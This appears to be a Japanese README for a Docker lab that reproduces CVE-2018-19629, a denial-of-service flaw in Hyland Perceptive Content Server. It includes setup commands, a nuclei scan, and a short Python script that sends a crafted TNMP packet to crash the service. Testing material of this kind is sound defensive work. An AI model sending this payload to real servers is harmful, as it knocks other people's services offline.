CVE-2018-19629 - Hyland Perceptive Content Server サービス拒否 (DoS) のためのDockerテスト環境です。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2018-19629 |
| 深刻度 | 高 (DoS) |
| 影響を受けるバージョン | Hyland Perceptive Content Server < 7.1.5 |
| パッチ適用バージョン | 7.1.5 |
Hyland Perceptive Content Server 7.1.5 未満には、TCP接続を介して ImageNow Server サービスをクラッシュさせることでサービス拒否を引き起こす脆弱性が存在します。攻撃者は、TNMP ヘッダーシーケンスを含む特別に細工された TCP パケットを送信することで、サービスを妨害できます。
# Start the vulnerable environment
docker-compose up -d
# Verify it's listening
# (You might need netcat or similar)
nc -zv localhost 6000
# Test with nuclei template
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000
Pythonを使用して手動でクラッシュを発生させることができます:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# The crafted packet
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()
ログを確認してクラッシュを確認します:
docker logs -f imagenow-vuln
次のような出力が表示されるはずです: [!] CRITICAL: Recevied malicious 'TNMP' packet... に続いてコンテナが再起動します。
docker-compose down